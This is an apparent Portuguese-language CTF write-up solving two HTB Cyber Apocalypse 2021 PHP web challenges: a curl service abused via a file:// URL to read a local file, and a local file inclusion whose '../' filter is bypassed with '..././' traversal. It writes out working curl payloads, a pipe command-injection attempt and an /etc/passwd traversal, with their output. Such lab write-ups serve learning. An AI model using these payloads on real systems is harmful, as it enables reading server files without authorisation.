Os desafios
Esta é a segunda parte da série HTB CTF: Cyber Apocalypse 2021, onde são discutidas as soluções de 7 desafios de Web Hacking deste CTF.
Neste post, são demonstradas as soluções para dois desafios PHP, com nível de dificuldade mais baixa, mas interessantes de acompanhar para quem estiver iniciando em CTFs e estudando falhas em serviços PHP.
Desafio: CaaS — Curl as a Service
Esse desafio traz um site que faz um curl as a service, ou seja, uma simulação do comando curl na linha de comando, via web. Após digitar uma URL, ele traz o conteúdo dela em HTML em texto, como se fosse em um shell real.
Esse desafio vem com o código-fonte PHP, que disponibilizei no meu repositório, que é possível você replicar, executando o build_docker.sh.
No código-fonte, você descobre que a aplicação faz todo um trabalho de gerenciamento dinâmico de rotas, que achei que fosse importante, mas… não é muito relevante (tirando mais um aprendizado), então vou pular direto pro que interessa, que é onde a aplicação processa o pedido:
Nesta classe, ele recebe a URL como parâmetro e chama o comando curl via PHP exec, que dispara o novo processo e retorna a saída dele, que é o que vemos na tela no final.
Normalmente aqui eu tentaria forçar a execução de algum outro comando, incluindo dados indesejados no final, como exemplo:
curl -sL http://www.google.com | cat /flag
Com isso, eu já conseguiria rodar qualquer comando no servidor (RCE), MAS esse tipo de ataque é protegido nesta aplicação pela função escapeshellcmd, que, faz o escape de uma série de caracteres usados pra esse tipo de bypass (como o pipe).
Vulnerabilidade
No caso desta aplicação, a vulnerabilidade é muito mais simples do que isso. Dois pontos importantes aqui pra chutar no gol:
- A flag, em boa parte dos challenges de CTFs, é um arquivo no servidor que fica no diretório da aplicação ou na raiz.
- Apesar do filtro contra injeção de comandos no escapeshellcmd, a aplicação não filtra o conteúdo que vai pro curl.
Com isso, é possível solicitar, via curl, um arquivo local usando file:// ao invés de http://. Com essa simplicidade no coração, podemos fazer o teste localmente:
neptunian:~/ctf_cyber_apocalypse_2021/web_caas$ curl 'http://localhost:1337/api/curl' \
> -H 'Content-Type: application/x-www-form-urlencoded' \
> --data-raw 'ip=file:///flag' \
> --compressed \
> --insecure
{"message":["CHTB{f4k3_fl4g_f0r_t3st1ng}"]}
Sucesso local, agora testando no servidor do desafio:
Mais uma bandeira pra coleção.
Desafio: Ministryplace
Este desafio começa com uma página com dois idiomas: EN e QW (links no canto superior direito).
Ao clicar no link, ele chama a URL no seguinte formato:
http://localhost:1337/?lang=en.php
Dica: sempre que um parâmetro da querystring referenciar um arquivo do servidor, você já percebe que ele provavelmente está incluindo este arquivo na saída. Ele traz uma potencial falha de Local File Inclusion, que é quando podemos manipular esse parâmetro pra trazer arquivos do servidor que não deveriam ser vazados.
A tentativa natural, inicial é:
neptunian:~/ctf_cyber_apocalypse_2021$ curl http://localhost:1337/?lang=../../../../../../../etc/passwd
<html>
<header>
<meta name='author' content='bertolis, makelaris'>
<title>Ministry of Defence</title>
<link rel="stylesheet" href="/static/css/main.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootswatch/4.5.0/slate/bootstrap.min.css" >
</header><body>
<div class="language">
<a href="?lang=en.php">EN</a>
<a href="?lang=qw.php">QW</a>
</div></body>
</html>
Neste caso, não tivemos resultado, mas esse desafio também vem com o código-fonte disponível (tambéno meu repositório), onde podemos entender melhor como ele trata esse include:
Essa aplicação é extremamente simples e o único código-fonte de fato está no index.php. Resumindo o que ele faz:
- Pega o conteúdo do parâmetro lang da querystring
- Se não tiver valor, pega um aleatório (en.php ou qw.php)
- Concatena no início a string ‘pages/’, pra forçar a leitura de arquivos apenas desse diretório.
- IMPORTANTE: Faz um replace de ‘../’ em qualquer parte da string. A ideia é evitar justamente a nossa manobra pra tentar buscar arquivos fora do diretório pages.
Numa primeira olhada, o filtro parece bloquear a nossa tentativa mas... nós somos mais espertos do que ele :) Queremos forçar diretórios anteriores mesmo com esse replace, mas como?
Assumindo que a flag esteja no diretório raiz (/):
..././..././flag
Se prestar atenção na string demoníaca acima, vai ver que uma parte está em negrito. Essa parte é a que sofre o replace da da aplicação. Mas após o replace, a string fica assim:
../../flag
Então, let's hack:
E, no servidor do CTF:
$ curl http://139.59.190.72:31642/?lang=..././..././flag% Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed100 491 0 491 0 0 1158 0 --:--:-- --:--:-- --:--:-- 1160<html><header><meta name='author' content='bertolis, makelaris'><title>Ministry of Defence</title><link rel="stylesheet" href="/static/css/main.css"><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootswatch/4.5.0/slate/bootstrap.min.css" ></header><body><div class="language"><a href="?lang=en.php">EN</a><a href="?lang=qw.php">QW</a></div>CHTB{b4d_4li3n_pr0gr4m1ng}</body></html>
Mais uma no mural. Facinha, mas pontua.
Na parte 3 é explorada uma falha de XPath Injection:
Referências
- Perfil do CTF — no CTF Time: https://ctftime.org/event/1051
- Meu perfil no CTF Time: https://ctftime.org/team/122851
- Link Direto do Evento: Hack The Box & CryptoHack Cyber Apocalypse 2021 | Global & Free CTF
- Hack The Box (HTB): Hack The Box: Hacking Training For The Best
- Repositório com o código-fonte dos desafios: https://github.com/Neptunians/ctf_cyber_apocalypse_2021
- Local File Inclusion (PHP): https://medium.com/@Aptive/local-file-inclusion-lfi-web-application-penetration-testing-cc9dc8dd3601
- Twitter: @NeptunianHacks